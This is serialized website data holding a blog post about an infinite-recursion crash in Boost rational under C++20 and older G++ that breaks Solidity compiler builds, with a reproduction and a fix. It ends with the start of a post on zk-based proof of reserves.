i));\n",{"type":22,"tag":101,"props":94905,"children":94906},{"class":103,"line":1158},[94907],{"type":22,"tag":101,"props":94908,"children":94909},{"style":120},[94910],{"type":27,"value":1734},{"type":22,"tag":101,"props":94912,"children":94913},{"class":103,"line":1166},[94914],{"type":22,"tag":101,"props":94915,"children":94916},{"style":120},[94917],{"type":27,"value":24329},{"type":22,"tag":101,"props":94919,"children":94920},{"class":103,"line":1215},[94921],{"type":22,"tag":101,"props":94922,"children":94923},{"style":120},[94924],{"type":27,"value":188},{"type":22,"tag":101,"props":94926,"children":94927},{"class":103,"line":2425},[94928],{"type":22,"tag":101,"props":94929,"children":94930},{"emptyLinePlaceholder":15},[94931],{"type":27,"value":1581},{"type":22,"tag":101,"props":94933,"children":94934},{"class":103,"line":5417},[94935,94939,94943,94947,94951,94955,94959,94963],{"type":22,"tag":101,"props":94936,"children":94937},{"style":108},[94938],{"type":27,"value":5457},{"type":22,"tag":101,"props":94940,"children":94941},{"style":120},[94942],{"type":27,"value":12726},{"type":22,"tag":101,"props":94944,"children":94945},{"style":108},[94946],{"type":27,"value":73915},{"type":22,"tag":101,"props":94948,"children":94949},{"style":114},[94950],{"type":27,"value":94136},{"type":22,"tag":101,"props":94952,"children":94953},{"style":120},[94954],{"type":27,"value":758},{"type":22,"tag":101,"props":94956,"children":94957},{"style":108},[94958],{"type":27,"value":73915},{"type":22,"tag":101,"props":94960,"children":94961},{"style":114},[94962],{"type":27,"value":93955},{"type":22,"tag":101,"props":94964,"children":94965},{"style":120},[94966],{"type":27,"value":527},{"type":22,"tag":101,"props":94968,"children":94969},{"class":103,"line":7714},[94970],{"type":22,"tag":101,"props":94971,"children":94972},{"style":120},[94973],{"type":27,"value":94974},"BOOST_CONSTEXPR\n",{"type":22,"tag":101,"props":94976,"children":94977},{"class":103,"line":7723},[94978,94983,94988,94993,94998],{"type":22,"tag":101,"props":94979,"children":94980},{"style":108},[94981],{"type":27,"value":94982},"inline",{"type":22,"tag":101,"props":94984,"children":94985},{"style":108},[94986],{"type":27,"value":94987}," typename",{"type":22,"tag":101,"props":94989,"children":94990},{"style":120},[94991],{"type":27,"value":94992}," boost::",{"type":22,"tag":101,"props":94994,"children":94995},{"style":114},[94996],{"type":27,"value":94997},"enable_if_c",{"type":22,"tag":101,"props":94999,"children":95000},{"style":166},[95001],{"type":27,"value":95002}," \u003C\n",{"type":22,"tag":101,"props":95004,"children":95005},{"class":103,"line":7791},[95006,95011,95016,95020,95024,95029,95033,95037],{"type":22,"tag":101,"props":95007,"children":95008},{"style":120},[95009],{"type":27,"value":95010}," rational_detail::is_compatible_integer\u003C",{"type":22,"tag":101,"props":95012,"children":95013},{"style":114},[95014],{"type":27,"value":95015},"Arg",{"type":22,"tag":101,"props":95017,"children":95018},{"style":120},[95019],{"type":27,"value":758},{"type":22,"tag":101,"props":95021,"children":95022},{"style":114},[95023],{"type":27,"value":94184},{"type":22,"tag":101,"props":95025,"children":95026},{"style":120},[95027],{"type":27,"value":95028},">::value, ",{"type":22,"tag":101,"props":95030,"children":95031},{"style":108},[95032],{"type":27,"value":33682},{"type":22,"tag":101,"props":95034,"children":95035},{"style":166},[95036],{"type":27,"value":14467},{"type":22,"tag":101,"props":95038,"children":95039},{"style":120},[95040],{"type":27,"value":95041},"::type\n",{"type":22,"tag":101,"props":95043,"children":95044},{"class":103,"line":7799},[95045,95050,95055,95059,95063,95067,95071,95075,95079,95083,95087,95091,95095,95099,95103],{"type":22,"tag":101,"props":95046,"children":95047},{"style":108},[95048],{"type":27,"value":95049}," operator",{"type":22,"tag":101,"props":95051,"children":95052},{"style":120},[95053],{"type":27,"value":95054}," == (",{"type":22,"tag":101,"props":95056,"children":95057},{"style":108},[95058],{"type":27,"value":13660},{"type":22,"tag":101,"props":95060,"children":95061},{"style":114},[95062],{"type":27,"value":94136},{"type":22,"tag":101,"props":95064,"children":95065},{"style":108},[95066],{"type":27,"value":985},{"type":22,"tag":101,"props":95068,"children":95069},{"style":126},[95070],{"type":27,"value":94217},{"type":22,"tag":101,"props":95072,"children":95073},{"style":120},[95074],{"type":27,"value":758},{"type":22,"tag":101,"props":95076,"children":95077},{"style":108},[95078],{"type":27,"value":13660},{"type":22,"tag":101,"props":95080,"children":95081},{"style":114},[95082],{"type":27,"value":93971},{"type":22,"tag":101,"props":95084,"children":95085},{"style":120},[95086],{"type":27,"value":123},{"type":22,"tag":101,"props":95088,"children":95089},{"style":114},[95090],{"type":27,"value":94184},{"type":22,"tag":101,"props":95092,"children":95093},{"style":120},[95094],{"type":27,"value":14467},{"type":22,"tag":101,"props":95096,"children":95097},{"style":108},[95098],{"type":27,"value":985},{"type":22,"tag":101,"props":95100,"children":95101},{"style":126},[95102],{"type":27,"value":93343},{"type":22,"tag":101,"props":95104,"children":95105},{"style":120},[95106],{"type":27,"value":2510},{"type":22,"tag":101,"props":95108,"children":95109},{"class":103,"line":7829},[95110],{"type":22,"tag":101,"props":95111,"children":95112},{"style":120},[95113],{"type":27,"value":14886},{"type":22,"tag":101,"props":95115,"children":95116},{"class":103,"line":7837},[95117,95121,95125,95129],{"type":22,"tag":101,"props":95118,"children":95119},{"style":3595},[95120],{"type":27,"value":43351},{"type":22,"tag":101,"props":95122,"children":95123},{"style":120},[95124],{"type":27,"value":20762},{"type":22,"tag":101,"props":95126,"children":95127},{"style":166},[95128],{"type":27,"value":4340},{"type":22,"tag":101,"props":95130,"children":95131},{"style":120},[95132],{"type":27,"value":95133}," b; \n",{"type":22,"tag":101,"props":95135,"children":95136},{"class":103,"line":7868},[95137],{"type":22,"tag":101,"props":95138,"children":95139},{"style":120},[95140],{"type":27,"value":188},{"type":22,"tag":23,"props":95142,"children":95143},{},[95144,95146,95152],{"type":27,"value":95145},"This was designed under C++17 semantics. Back then, ",{"type":22,"tag":30,"props":95147,"children":95149},{"className":95148},[],[95150],{"type":27,"value":95151},"rhs == lhs",{"type":27,"value":95153}," would fall back to member overloads if available. All good.",{"type":22,"tag":23,"props":95155,"children":95156},{},[95157,95159,95164,95165,95171],{"type":27,"value":95158},"But under ",{"type":22,"tag":30,"props":95160,"children":95162},{"className":95161},[],[95163],{"type":27,"value":93708},{"type":27,"value":25491},{"type":22,"tag":30,"props":95166,"children":95168},{"className":95167},[],[95169],{"type":27,"value":95170},"G++ \u003C 14",{"type":27,"value":169},{"type":22,"tag":6839,"props":95173,"children":95174},{},[95175,95180,95185,95190],{"type":22,"tag":6832,"props":95176,"children":95177},{},[95178],{"type":27,"value":95179},"G++ incorrectly chooses this non-member operator first",{"type":22,"tag":6832,"props":95181,"children":95182},{},[95183],{"type":27,"value":95184},"C++20 reverses the comparison",{"type":22,"tag":6832,"props":95186,"children":95187},{},[95188],{"type":27,"value":95189},"Which calls the same function again with arguments flipped",{"type":22,"tag":6832,"props":95191,"children":95192},{},[95193],{"type":27,"value":95194},"And so on...",{"type":22,"tag":23,"props":95196,"children":95197},{},[95198,95200,95205],{"type":27,"value":95199},"This creates ",{"type":22,"tag":9370,"props":95201,"children":95202},{},[95203],{"type":27,"value":95204},"infinite recursion",{"type":27,"value":231},{"type":22,"tag":23,"props":95207,"children":95208},{},[95209],{"type":27,"value":95210},"A minimal example:",{"type":22,"tag":91,"props":95212,"children":95214},{"code":95213,"language":33111,"meta":7,"className":33109,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[95215],{"type":22,"tag":30,"props":95216,"children":95217},{"__ignoreMap":7},[95218,95226,95238,95245,95260,95284,95307],{"type":22,"tag":101,"props":95219,"children":95220},{"class":103,"line":104},[95221],{"type":22,"tag":101,"props":95222,"children":95223},{"style":2215},[95224],{"type":27,"value":95225},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":22,"tag":101,"props":95227,"children":95228},{"class":103,"line":157},[95229,95233],{"type":22,"tag":101,"props":95230,"children":95231},{"style":3595},[95232],{"type":27,"value":93922},{"type":22,"tag":101,"props":95234,"children":95235},{"style":6476},[95236],{"type":27,"value":95237}," \u003Cboost/rational.hpp>\n",{"type":22,"tag":101,"props":95239,"children":95240},{"class":103,"line":182},[95241],{"type":22,"tag":101,"props":95242,"children":95243},{"emptyLinePlaceholder":15},[95244],{"type":27,"value":1581},{"type":22,"tag":101,"props":95246,"children":95247},{"class":103,"line":367},[95248,95252,95256],{"type":22,"tag":101,"props":95249,"children":95250},{"style":108},[95251],{"type":27,"value":23037},{"type":22,"tag":101,"props":95253,"children":95254},{"style":926},[95255],{"type":27,"value":94287},{"type":22,"tag":101,"props":95257,"children":95258},{"style":120},[95259],{"type":27,"value":19734},{"type":22,"tag":101,"props":95261,"children":95262},{"class":103,"line":398},[95263,95268,95272,95276,95280],{"type":22,"tag":101,"props":95264,"children":95265},{"style":120},[95266],{"type":27,"value":95267}," boost::rational",{"type":22,"tag":101,"props":95269,"children":95270},{"style":166},[95271],{"type":27,"value":123},{"type":22,"tag":101,"props":95273,"children":95274},{"style":108},[95275],{"type":27,"value":23037},{"type":22,"tag":101,"props":95277,"children":95278},{"style":166},[95279],{"type":27,"value":14467},{"type":22,"tag":101,"props":95281,"children":95282},{"style":120},[95283],{"type":27,"value":94316},{"type":22,"tag":101,"props":95285,"children":95286},{"class":103,"line":428},[95287,95291,95295,95299,95303],{"type":22,"tag":101,"props":95288,"children":95289},{"style":3595},[95290],{"type":27,"value":20986},{"type":22,"tag":101,"props":95292,"children":95293},{"style":120},[95294],{"type":27,"value":94328},{"type":22,"tag":101,"props":95296,"children":95297},{"style":166},[95298],{"type":27,"value":4340},{"type":22,"tag":101,"props":95300,"children":95301},{"style":1544},[95302],{"type":27,"value":1547},{"type":22,"tag":101,"props":95304,"children":95305},{"style":120},[95306],{"type":27,"value":1520},{"type":22,"tag":101,"props":95308,"children":95309},{"class":103,"line":997},[95310],{"type":22,"tag":101,"props":95311,"children":95312},{"style":120},[95313],{"type":27,"value":188},{"type":22,"tag":23,"props":95315,"children":95316},{},[95317],{"type":27,"value":95318},"Expected output: nothing.",{"type":22,"tag":23,"props":95320,"children":95321},{},[95322],{"type":27,"value":95323},"Actual: segmentation fault (stack overflow).",{"type":22,"tag":23,"props":95325,"children":95326},{},[95327,95329,95336],{"type":27,"value":95328},"This exact pattern was ",{"type":22,"tag":80,"props":95330,"children":95333},{"href":95331,"rel":95332},"https://github.com/boostorg/rational/issues/43",[84],[95334],{"type":27,"value":95335},"reported and fixed in Boost rational",{"type":27,"value":95337},", but only in version 1.75+.",{"type":22,"tag":23,"props":95339,"children":95340},{},[95341],{"type":27,"value":95342},"Here’s the one-line fix:",{"type":22,"tag":91,"props":95344,"children":95346},{"code":95345,"language":44357,"meta":7,"className":44355,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[95347],{"type":22,"tag":30,"props":95348,"children":95349},{"__ignoreMap":7},[95350,95358,95365,95373,95381,95389,95396,95404,95412],{"type":22,"tag":101,"props":95351,"children":95352},{"class":103,"line":104},[95353],{"type":22,"tag":101,"props":95354,"children":95355},{"style":120},[95356],{"type":27,"value":95357},"template \u003Cclass Arg, class IntType>\n",{"type":22,"tag":101,"props":95359,"children":95360},{"class":103,"line":157},[95361],{"type":22,"tag":101,"props":95362,"children":95363},{"style":120},[95364],{"type":27,"value":94974},{"type":22,"tag":101,"props":95366,"children":95367},{"class":103,"line":182},[95368],{"type":22,"tag":101,"props":95369,"children":95370},{"style":120},[95371],{"type":27,"value":95372},"inline typename boost::enable_if_c \u003C\n",{"type":22,"tag":101,"props":95374,"children":95375},{"class":103,"line":367},[95376],{"type":22,"tag":101,"props":95377,"children":95378},{"style":120},[95379],{"type":27,"value":95380}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":22,"tag":101,"props":95382,"children":95383},{"class":103,"line":398},[95384],{"type":22,"tag":101,"props":95385,"children":95386},{"style":120},[95387],{"type":27,"value":95388}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":22,"tag":101,"props":95390,"children":95391},{"class":103,"line":428},[95392],{"type":22,"tag":101,"props":95393,"children":95394},{"style":120},[95395],{"type":27,"value":14886},{"type":22,"tag":101,"props":95397,"children":95398},{"class":103,"line":997},[95399],{"type":22,"tag":101,"props":95400,"children":95401},{"style":6476},[95402],{"type":27,"value":95403},"- return a == b;\n",{"type":22,"tag":101,"props":95405,"children":95406},{"class":103,"line":1032},[95407],{"type":22,"tag":101,"props":95408,"children":95409},{"style":1544},[95410],{"type":27,"value":95411},"+ return a.operator==(b);\n",{"type":22,"tag":101,"props":95413,"children":95414},{"class":103,"line":1063},[95415],{"type":22,"tag":101,"props":95416,"children":95417},{"style":120},[95418],{"type":27,"value":188},{"type":22,"tag":23,"props":95420,"children":95421},{},[95422,95424,95429,95431,95436],{"type":27,"value":95423},"Instead of calling ",{"type":22,"tag":30,"props":95425,"children":95427},{"className":95426},[],[95428],{"type":27,"value":93754},{"type":27,"value":95430}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":22,"tag":30,"props":95432,"children":95434},{"className":95433},[],[95435],{"type":27,"value":93762},{"type":27,"value":231},{"type":22,"tag":23,"props":95438,"children":95439},{},[95440],{"type":27,"value":95441},"This prevents C++20 from triggering recursive rewrites.",{"type":22,"tag":1398,"props":95443,"children":95444},{},[],{"type":22,"tag":53,"props":95446,"children":95448},{"id":95447},"part-iv-how-this-breaks-solidity",[95449],{"type":27,"value":95450},"Part IV: How This Breaks Solidity",{"type":22,"tag":23,"props":95452,"children":95453},{},[95454,95456,95461],{"type":27,"value":95455},"The Solidity codebase uses ",{"type":22,"tag":30,"props":95457,"children":95459},{"className":95458},[],[95460],{"type":27,"value":93609},{"type":27,"value":95462}," to represent certain compile-time constant expressions.",{"type":22,"tag":23,"props":95464,"children":95465},{},[95466,95468,95474],{"type":27,"value":95467},"One snippet that can trigger this issue appears in ",{"type":22,"tag":30,"props":95469,"children":95471},{"className":95470},[],[95472],{"type":27,"value":95473},"DeclarationTypeChecker::endVisit",{"type":27,"value":169},{"type":22,"tag":91,"props":95476,"children":95478},{"code":95477,"language":33111,"meta":7,"className":33109,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[95479],{"type":22,"tag":30,"props":95480,"children":95481},{"__ignoreMap":7},[95482,95529,95554,95561,95639,95646,95699,95727,95734,95754,95761,95801,95808],{"type":22,"tag":101,"props":95483,"children":95484},{"class":103,"line":104},[95485,95489,95494,95498,95502,95507,95511,95516,95520,95524],{"type":22,"tag":101,"props":95486,"children":95487},{"style":3595},[95488],{"type":27,"value":19578},{"type":22,"tag":101,"props":95490,"children":95491},{"style":120},[95492],{"type":27,"value":95493}," (Expression ",{"type":22,"tag":101,"props":95495,"children":95496},{"style":108},[95497],{"type":27,"value":13660},{"type":22,"tag":101,"props":95499,"children":95500},{"style":166},[95501],{"type":27,"value":8615},{"type":22,"tag":101,"props":95503,"children":95504},{"style":120},[95505],{"type":27,"value":95506}," length ",{"type":22,"tag":101,"props":95508,"children":95509},{"style":166},[95510],{"type":27,"value":1511},{"type":22,"tag":101,"props":95512,"children":95513},{"style":126},[95514],{"type":27,"value":95515}," _typeName",{"type":22,"tag":101,"props":95517,"children":95518},{"style":120},[95519],{"type":27,"value":231},{"type":22,"tag":101,"props":95521,"children":95522},{"style":926},[95523],{"type":27,"value":12511},{"type":22,"tag":101,"props":95525,"children":95526},{"style":120},[95527],{"type":27,"value":95528},"()) {\n",{"type":22,"tag":101,"props":95530,"children":95531},{"class":103,"line":157},[95532,95537,95541,95545,95549],{"type":22,"tag":101,"props":95533,"children":95534},{"style":120},[95535],{"type":27,"value":95536}," std::optional",{"type":22,"tag":101,"props":95538,"children":95539},{"style":166},[95540],{"type":27,"value":123},{"type":22,"tag":101,"props":95542,"children":95543},{"style":120},[95544],{"type":27,"value":94614},{"type":22,"tag":101,"props":95546,"children":95547},{"style":166},[95548],{"type":27,"value":14467},{"type":22,"tag":101,"props":95550,"children":95551},{"style":120},[95552],{"type":27,"value":95553}," lengthValue;\n",{"type":22,"tag":101,"props":95555,"children":95556},{"class":103,"line":182},[95557],{"type":22,"tag":101,"props":95558,"children":95559},{"emptyLinePlaceholder":15},[95560],{"type":27,"value":1581},{"type":22,"tag":101,"props":95562,"children":95563},{"class":103,"line":367},[95564,95568,95572,95576,95580,95584,95588,95592,95596,95601,95605,95609,95613,95617,95621,95626,95630,95634],{"type":22,"tag":101,"props":95565,"children":95566},{"style":3595},[95567],{"type":27,"value":16283},{"type":22,"tag":101,"props":95569,"children":95570},{"style":120},[95571],{"type":27,"value":3603},{"type":22,"tag":101,"props":95573,"children":95574},{"style":126},[95575],{"type":27,"value":12511},{"type":22,"tag":101,"props":95577,"children":95578},{"style":120},[95579],{"type":27,"value":17759},{"type":22,"tag":101,"props":95581,"children":95582},{"style":926},[95583],{"type":27,"value":34160},{"type":22,"tag":101,"props":95585,"children":95586},{"style":120},[95587],{"type":27,"value":34165},{"type":22,"tag":101,"props":95589,"children":95590},{"style":126},[95591],{"type":27,"value":36752},{"type":22,"tag":101,"props":95593,"children":95594},{"style":166},[95595],{"type":27,"value":18187},{"type":22,"tag":101,"props":95597,"children":95598},{"style":126},[95599],{"type":27,"value":95600}," length",{"type":22,"tag":101,"props":95602,"children":95603},{"style":120},[95604],{"type":27,"value":17759},{"type":22,"tag":101,"props":95606,"children":95607},{"style":926},[95608],{"type":27,"value":34160},{"type":22,"tag":101,"props":95610,"children":95611},{"style":120},[95612],{"type":27,"value":34165},{"type":22,"tag":101,"props":95614,"children":95615},{"style":126},[95616],{"type":27,"value":36752},{"type":22,"tag":101,"props":95618,"children":95619},{"style":120},[95620],{"type":27,"value":17759},{"type":22,"tag":101,"props":95622,"children":95623},{"style":926},[95624],{"type":27,"value":95625},"category",{"type":22,"tag":101,"props":95627,"children":95628},{"style":120},[95629],{"type":27,"value":18045},{"type":22,"tag":101,"props":95631,"children":95632},{"style":166},[95633],{"type":27,"value":4340},{"type":22,"tag":101,"props":95635,"children":95636},{"style":120},[95637],{"type":27,"value":95638}," Type::Category::RationalNumber)\n",{"type":22,"tag":101,"props":95640,"children":95641},{"class":103,"line":398},[95642],{"type":22,"tag":101,"props":95643,"children":95644},{"style":120},[95645],{"type":27,"value":85349},{"type":22,"tag":101,"props":95647,"children":95648},{"class":103,"line":428},[95649,95654,95658,95663,95667,95672,95676,95681,95685,95690,95694],{"type":22,"tag":101,"props":95650,"children":95651},{"style":3595},[95652],{"type":27,"value":95653}," else",{"type":22,"tag":101,"props":95655,"children":95656},{"style":3595},[95657],{"type":27,"value":19786},{"type":22,"tag":101,"props":95659,"children":95660},{"style":120},[95661],{"type":27,"value":95662}," (std::optional",{"type":22,"tag":101,"props":95664,"children":95665},{"style":166},[95666],{"type":27,"value":123},{"type":22,"tag":101,"props":95668,"children":95669},{"style":120},[95670],{"type":27,"value":95671},"ConstantEvaluator::TypedRational",{"type":22,"tag":101,"props":95673,"children":95674},{"style":166},[95675],{"type":27,"value":14467},{"type":22,"tag":101,"props":95677,"children":95678},{"style":120},[95679],{"type":27,"value":95680}," value ",{"type":22,"tag":101,"props":95682,"children":95683},{"style":166},[95684],{"type":27,"value":1511},{"type":22,"tag":101,"props":95686,"children":95687},{"style":120},[95688],{"type":27,"value":95689}," ConstantEvaluator::",{"type":22,"tag":101,"props":95691,"children":95692},{"style":926},[95693],{"type":27,"value":42001},{"type":22,"tag":101,"props":95695,"children":95696},{"style":120},[95697],{"type":27,"value":95698},"(...))\n",{"type":22,"tag":101,"props":95700,"children":95701},{"class":103,"line":997},[95702,95707,95711,95715,95719,95723],{"type":22,"tag":101,"props":95703,"children":95704},{"style":120},[95705],{"type":27,"value":95706}," lengthValue ",{"type":22,"tag":101,"props":95708,"children":95709},{"style":166},[95710],{"type":27,"value":1511},{"type":22,"tag":101,"props":95712,"children":95713},{"style":126},[95714],{"type":27,"value":36507},{"type":22,"tag":101,"props":95716,"children":95717},{"style":120},[95718],{"type":27,"value":17759},{"type":22,"tag":101,"props":95720,"children":95721},{"style":126},[95722],{"type":27,"value":43146},{"type":22,"tag":101,"props":95724,"children":95725},{"style":120},[95726],{"type":27,"value":1520},{"type":22,"tag":101,"props":95728,"children":95729},{"class":103,"line":1032},[95730],{"type":22,"tag":101,"props":95731,"children":95732},{"emptyLinePlaceholder":15},[95733],{"type":27,"value":1581},{"type":22,"tag":101,"props":95735,"children":95736},{"class":103,"line":1063},[95737,95741,95745,95749],{"type":22,"tag":101,"props":95738,"children":95739},{"style":3595},[95740],{"type":27,"value":16283},{"type":22,"tag":101,"props":95742,"children":95743},{"style":120},[95744],{"type":27,"value":3603},{"type":22,"tag":101,"props":95746,"children":95747},{"style":166},[95748],{"type":27,"value":2109},{"type":22,"tag":101,"props":95750,"children":95751},{"style":120},[95752],{"type":27,"value":95753},"lengthValue)\n",{"type":22,"tag":101,"props":95755,"children":95756},{"class":103,"line":1071},[95757],{"type":22,"tag":101,"props":95758,"children":95759},{"style":120},[95760],{"type":27,"value":85349},{"type":22,"tag":101,"props":95762,"children":95763},{"class":103,"line":1110},[95764,95768,95772,95776,95780,95784,95788,95792,95796],{"type":22,"tag":101,"props":95765,"children":95766},{"style":3595},[95767],{"type":27,"value":95653},{"type":22,"tag":101,"props":95769,"children":95770},{"style":3595},[95771],{"type":27,"value":19786},{"type":22,"tag":101,"props":95773,"children":95774},{"style":120},[95775],{"type":27,"value":3603},{"type":22,"tag":101,"props":95777,"children":95778},{"style":166},[95779],{"type":27,"value":8615},{"type":22,"tag":101,"props":95781,"children":95782},{"style":120},[95783],{"type":27,"value":93585},{"type":22,"tag":101,"props":95785,"children":95786},{"style":166},[95787],{"type":27,"value":4340},{"type":22,"tag":101,"props":95789,"children":95790},{"style":1544},[95791],{"type":27,"value":1547},{"type":22,"tag":101,"props":95793,"children":95794},{"style":120},[95795],{"type":27,"value":2261},{"type":22,"tag":101,"props":95797,"children":95798},{"style":2215},[95799],{"type":27,"value":95800}," // \u003C-- Infinite recursion happens here\n",{"type":22,"tag":101,"props":95802,"children":95803},{"class":103,"line":1118},[95804],{"type":22,"tag":101,"props":95805,"children":95806},{"style":120},[95807],{"type":27,"value":85349},{"type":22,"tag":101,"props":95809,"children":95810},{"class":103,"line":1158},[95811],{"type":22,"tag":101,"props":95812,"children":95813},{"style":120},[95814],{"type":27,"value":188},{"type":22,"tag":23,"props":95816,"children":95817},{},[95818],{"type":27,"value":95819},"Under normal circumstances, this expression is benign. But:",{"type":22,"tag":6839,"props":95821,"children":95822},{},[95823,95828,95833],{"type":22,"tag":6832,"props":95824,"children":95825},{},[95826],{"type":27,"value":95827},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":22,"tag":6832,"props":95829,"children":95830},{},[95831],{"type":27,"value":95832},"C++20 reverses the arguments",{"type":22,"tag":6832,"props":95834,"children":95835},{},[95836],{"type":27,"value":95837},"The non-member operator recursively calls itself",{"type":22,"tag":23,"props":95839,"children":95840},{},[95841],{"type":27,"value":95842},"💥: segmentation fault.",{"type":22,"tag":1398,"props":95844,"children":95845},{},[],{"type":22,"tag":53,"props":95847,"children":95849},{"id":95848},"part-v-what-environments-are-affected",[95850],{"type":27,"value":95851},"Part V: What Environments are Affected?",{"type":22,"tag":23,"props":95853,"children":95854},{},[95855],{"type":27,"value":95856},"If a system uses any of the following:",{"type":22,"tag":6839,"props":95858,"children":95859},{},[95860,95865,95870],{"type":22,"tag":6832,"props":95861,"children":95862},{},[95863],{"type":27,"value":95864},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":22,"tag":6832,"props":95866,"children":95867},{},[95868],{"type":27,"value":95869},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":22,"tag":6832,"props":95871,"children":95872},{},[95873],{"type":27,"value":95874},"C++20 enabled (default in recent Solidity builds)",{"type":22,"tag":23,"props":95876,"children":95877},{},[95878,95880,95885,95887,95893],{"type":27,"value":95879},"They will encounter this crash ",{"type":22,"tag":9370,"props":95881,"children":95882},{},[95883],{"type":27,"value":95884},"as soon as",{"type":27,"value":95886}," it processes a Solidity source with a length expression like ",{"type":22,"tag":30,"props":95888,"children":95890},{"className":95889},[],[95891],{"type":27,"value":95892},"T[0]",{"type":27,"value":95894}," or anything involving compile-time rational comparisons.",{"type":22,"tag":1398,"props":95896,"children":95897},{},[],{"type":22,"tag":53,"props":95899,"children":95901},{"id":95900},"recommendations",[95902],{"type":27,"value":95903},"Recommendations",{"type":22,"tag":6839,"props":95905,"children":95906},{},[95907,95915],{"type":22,"tag":6832,"props":95908,"children":95909},{},[95910],{"type":22,"tag":9370,"props":95911,"children":95912},{},[95913],{"type":27,"value":95914},"Update Boost to ≥ 1.75",{"type":22,"tag":6832,"props":95916,"children":95917},{},[95918],{"type":22,"tag":9370,"props":95919,"children":95920},{},[95921],{"type":27,"value":95922},"Pin G++ to v14 or later",{"type":22,"tag":1398,"props":95924,"children":95925},{},[],{"type":22,"tag":53,"props":95927,"children":95928},{"id":6776},[95929],{"type":27,"value":6779},{"type":22,"tag":23,"props":95931,"children":95932},{},[95933],{"type":27,"value":95934},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":22,"tag":23,"props":95936,"children":95937},{},[95938,95940,95944],{"type":27,"value":95939},"But it ",{"type":22,"tag":9370,"props":95941,"children":95942},{},[95943],{"type":27,"value":8017},{"type":27,"value":95945}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":22,"tag":23,"props":95947,"children":95948},{},[95949],{"type":27,"value":95950},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":22,"tag":23,"props":95952,"children":95953},{},[95954],{"type":27,"value":95955},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":22,"tag":6891,"props":95957,"children":95958},{},[95959],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":95961},[95962,95963,95968,95971,95972,95973,95974,95975],{"id":93645,"depth":157,"text":93648},{"id":93734,"depth":157,"text":93737,"children":95964},[95965,95966,95967],{"id":93740,"depth":182,"text":93743},{"id":93808,"depth":182,"text":93811},{"id":93899,"depth":182,"text":93902},{"id":94483,"depth":157,"text":94486,"children":95969},[95970],{"id":94489,"depth":182,"text":94492},{"id":94600,"depth":157,"text":94603},{"id":95447,"depth":157,"text":95450},{"id":95848,"depth":157,"text":95851},{"id":95900,"depth":157,"text":95903},{"id":6776,"depth":157,"text":6779},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":95980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":95981,"description":95982,"date":95983,"author":35196,"image":95984,"isFeatured":15,"onBlogPage":15,"tags":95986,"body":95989,"_type":6912,"_id":100765,"_source":6914,"_file":100766,"_stem":100767,"_extension":6917},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":95985,"width":17626,"height":17626},"/posts/por/title.png",[95987,95988],"zk","por",{"type":19,"children":95990,"toc":100742},[95991,95997,96009,96021,96026,96058,96072,96078,96090,96095,96100,96137,96142,96148,96153,96160,96165,96191,96196,96202,96222,96236,96244,96249,96254,96262,96275,96281,96363,96369,96374,96387,96392,96399,96423,96431,96436,96442,96447,96895,96908,96914,96919,96927,96945,96953,96966,96974,98635,98640,98647,98653,98658,98665,98681,98688,98696,98703,100214,100219,100226,100232,100237,100264,100269,100288,100294,100302,100320,100369,100377,100396,100418,100424,100437,100442,100449,100454,100517,100522,100529,100549,100555,100560,100566,100571,100615,100620,100628,100634,100639,100681,100686,100694,100699,100707,100711,100716,100729],{"type":22,"tag":53,"props":95992,"children":95994},{"id":95993},"what-is-a-proof-of-reserves",[95995],{"type":27,"value":95996},"What is a Proof of Reserves?",{"type":22,"tag":23,"props":95998,"children":95999},{},[96000,96002,96007],{"type":27,"value":96001},"At its heart, ",{"type":22,"tag":9370,"props":96003,"children":96004},{},[96005],{"type":27,"value":96006},"Proof of Reserves (PoR)",{"type":27,"value":96008}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":22,"tag":23,"props":96010,"children":96011},{},[96012,96014,96019],{"type":27,"value":96013},"Think of it this way: ",{"type":22,"tag":9370,"props":96015,"children":96016},{},[96017],{"type":27,"value":96018},"PoR",{"type":27,"value":96020}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":22,"tag":23,"props":96022,"children":96023},{},[96024],{"type":27,"value":96025},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much 